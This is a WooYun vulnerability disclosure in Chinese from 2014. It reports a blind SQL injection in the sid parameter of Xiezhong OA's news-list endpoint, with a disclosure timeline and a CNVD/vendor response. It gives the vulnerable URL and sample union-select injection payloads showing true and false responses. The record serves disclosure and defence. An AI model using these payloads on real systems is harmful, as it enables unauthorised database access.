漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-068243
漏洞标题：某oa系统盲注一枚
相关厂商：广州协众软件科技有限公司
漏洞作者： Mr .LZH
提交时间：2014-07-17 18:06
修复时间：2014-10-15 18:08
公开时间：2014-10-15 18:08
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-07-17： 细节已通知厂商并且等待厂商处理中
2014-07-22： 厂商已经确认，细节仅向厂商公开
2014-07-25： 细节向第三方安全合作伙伴开放
2014-09-15： 细节向核心白帽子及相关领域专家公开
2014-09-25： 细节向普通白帽子公开
2014-10-05： 细节向实习白帽子公开
2014-10-15： 细节向公众公开
简要描述：
某oa系统盲注一枚
详细说明：
漏洞版本：协众OA 2014 试用版本，在官网下载后安装提示为2013增强版
官网：http://www.cnoa.cn
漏洞位置：
安装程序，登陆账号，主页面显示公司新闻
此处Ajax加载新闻列表，json返回结果
请求为：http://127.0.0.1/index.php?app=news&func=news&action=view&task=desktoplist&sid=1&_dc=1405133386843
post数据：rows=8&start=0
此处可以不post数据，get请求http://127.0.0.1/index.php?app=news&func=news&action=view&task=desktoplist&sid=1&_dc=1405133386843可得到结果
sql注入请求：http://127.0.0.1/index.php?app=news&func=news&action=view&task=desktoplist&sid=1&_dc=1405133386843
注入参数：sid
此注入比较奇特，可base on blind 或base on time
通过控制sid返回参数实现返回true或false，实现一个开关，控制流程导致返回结果不同，而不是参数改变查询内容导致显示不同，而且sid无法使用 > 和 < 符号，只能使用 =
例如：
http://127.0.0.1/index.php?app=news&func=news&action=view&task=desktoplist&_dc=1405133386843&sid=1 and 1=2 union select 0 --
无返回结果
http://127.0.0.1/index.php?app=news&func=news&action=view&task=desktoplist&_dc=1405133386843&sid=1 and 1=2 union select 10 --
返回正确新闻列表
漏洞证明：
修复方案：
版权声明：转载请注明来源 Mr .LZH@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-07-22 15:15
厂商回复：
CNVD未实例复现，仅确认本地情况，由CNVD直接通报给软件生产厂商（通过公开的邮箱联系方式）
最新状态：
暂无